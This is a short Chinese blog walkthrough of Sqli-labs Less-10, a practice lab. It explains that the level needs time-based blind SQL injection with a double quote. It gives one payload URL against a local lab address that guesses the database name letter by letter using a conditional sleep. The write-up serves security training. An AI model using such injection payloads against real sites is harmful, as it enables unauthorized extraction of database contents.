码迷,mamicode.com
首页 > 数据库 > 详细

Sqli-labs less 10

时间:2016-08-12 01:02:06      阅读:178      评论:0      收藏:0      [点我收藏+]

标签:

Less-10

本关我们从标题就可以看到 《基于时间-双引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是 " 的处理。和less9的区别就在于单引号(‘)变成了("),我们这里给出一个payload示例,其他的请参考less-9

猜测数据库:

http://127.0.0.1/sqllib/Less-10/?id=1"and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

其余的示例请参考less9,这里就不演示了

Sqli-labs less 10

标签:

原文地址:http://www.cnblogs.com/lcamry/p/5763083.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!